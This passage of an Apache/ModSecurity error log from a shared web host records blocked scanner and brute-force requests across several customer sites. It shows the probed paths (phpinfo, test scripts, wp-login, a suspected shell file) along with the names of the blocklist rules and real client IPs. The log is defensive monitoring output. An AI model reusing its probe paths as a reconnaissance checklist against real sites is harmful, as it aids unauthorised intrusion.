531281] [remote 17.241.227.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHCmiP80klyS0NnoM-AABCn0"] [Sat Jun 13 18:13:16.780910 2026] [security2:error] [pid 531155:tid 531204] [remote 208.109.188.137:51526] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "uniabujamfb.com"] [uri "/wp-login.php"] [unique_id "ai3yHCmiP80klyS0NnoM-QABiTA"] [Sat Jun 13 18:13:16.833789 2026] [security2:error] [pid 531155:tid 531280] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoM_wABEnw"] [Sat Jun 13 18:13:16.834527 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.102:25133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:16.834924 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.102:25133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:16.861500 2026] [security2:error] [pid 531155:tid 531361] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug32589.phpt"] [unique_id "ai3yHCmiP80klyS0NnoNAAAAAVY"] [Sat Jun 13 18:13:16.876823 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:13:16.877283 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:13:16.965827 2026] [security2:error] [pid 531155:tid 531164] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoNBgABTAg"] [Sat Jun 13 18:13:17.097682 2026] [security2:error] [pid 531155:tid 531237] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHSmiP80klyS0NnoNDwABQVE"] [Sat Jun 13 18:13:17.183284 2026] [security2:error] [pid 531155:tid 531240] [remote 17.246.23.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHSmiP80klyS0NnoNFQABLlQ"] [Sat Jun 13 18:13:17.229992 2026] [security2:error] [pid 531155:tid 531271] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHSmiP80klyS0NnoNFwABeXM"] [Sat Jun 13 18:13:17.295506 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.30:44750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:17.295788 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.30:44750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:17.298646 2026] [security2:error] [pid 531155:tid 531218] [remote 17.246.19.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHSmiP80klyS0NnoNHAABgT4"] [Sat Jun 13 18:13:17.366075 2026] [security2:error] [pid 531155:tid 531357] [client 77.68.83.86:63068] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/images/images/images/cache.php"] [unique_id "ai3yHSmiP80klyS0NnoNJQAAAVI"], referer: www.google.com [Sat Jun 13 18:13:17.393094 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:17.393389 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:17.400050 2026] [access_compat:error] [pid 531155:tid 531272] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:17.400414 2026] [access_compat:error] [pid 531155:tid 531272] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:17.440615 2026] [security2:error] [pid 531155:tid 531256] [remote 17.241.227.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHSmiP80klyS0NnoNMAABQGQ"] [Sat Jun 13 18:13:17.555064 2026] [security2:error] [pid 531155:tid 531206] [remote 57.141.14.98:54534] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yHSmiP80klyS0NnoNOgABcjI"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=379&_wpnonce=dacad5c21f&add-to-cart=389 [Sat Jun 13 18:13:17.786298 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.30:44760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:17.786585 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.30:44760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:17.936019 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAzNS9kZXZpY2U= [Sat Jun 13 18:13:17.936387 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAzNS9kZXZpY2U= [Sat Jun 13 18:13:17.991082 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.15:20755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:17.991541 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.15:20755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:18.042374 2026] [security2:error] [pid 531155:tid 531405] [client 77.68.83.86:56865] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/images/images/cache.php"] [unique_id "ai3yHimiP80klyS0NnoNTwAAAYI"], referer: www.google.com [Sat Jun 13 18:13:18.431590 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.76:44327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:18.431679 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:13:18.431881 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.76:44327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:18.431960 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:13:18.504241 2026] [security2:error] [pid 531155:tid 531209] [remote 17.241.227.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHimiP80klyS0NnoNbgABJzU"] [Sat Jun 13 18:13:18.504325 2026] [security2:error] [pid 531155:tid 531266] [remote 17.22.245.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHimiP80klyS0NnoNbwABQm4"] [Sat Jun 13 18:13:18.525705 2026] [security2:error] [pid 531155:tid 531369] [client 77.68.83.86:64859] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/images/cache.php"] [unique_id "ai3yHimiP80klyS0NnoNcgAAAV4"], referer: www.google.com [Sat Jun 13 18:13:18.578393 2026] [security2:error] [pid 531155:tid 531174] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test/php.php"] [unique_id "ai3yHimiP80klyS0NnoNeAABHxI"] [Sat Jun 13 18:13:18.710091 2026] [security2:error] [pid 531155:tid 531158] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test/info.php"] [unique_id "ai3yHimiP80klyS0NnoNgQABfwI"] [Sat Jun 13 18:13:18.842065 2026] [security2:error] [pid 531155:tid 531157] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test/index.php"] [unique_id "ai3yHimiP80klyS0NnoNhgABIgE"] [Sat Jun 13 18:13:18.890252 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:13:18.890539 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:13:18.974184 2026] [security2:error] [pid 531155:tid 531229] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test/testing.php"] [unique_id "ai3yHimiP80klyS0NnoNkQABVEk"] [Sat Jun 13 18:13:18.994707 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.41:20997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:18.995152 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.41:20997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:19.106409 2026] [security2:error] [pid 531155:tid 531170] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/testing/phpinfo.php"] [unique_id "ai3yHymiP80klyS0NnoNoQABMg4"] [Sat Jun 13 18:13:19.235319 2026] [security2:error] [pid 531155:tid 531322] [client 77.68.83.86:63304] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/cache.php"] [unique_id "ai3yHymiP80klyS0NnoNpwAAAS8"], referer: www.google.com [Sat Jun 13 18:13:19.238508 2026] [security2:error] [pid 531155:tid 531250] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/testing/info.php"] [unique_id "ai3yHymiP80klyS0NnoNqAABGF4"] [Sat Jun 13 18:13:19.290358 2026] [security2:error] [pid 531155:tid 531199] [remote 17.22.245.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHymiP80klyS0NnoNqwABcys"] [Sat Jun 13 18:13:19.316358 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.107:32265] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:19.316903 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.107:32265] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:19.370915 2026] [security2:error] [pid 531155:tid 531254] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/testing/php.php"] [unique_id "ai3yHymiP80klyS0NnoNtAABIGI"] [Sat Jun 13 18:13:19.466529 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 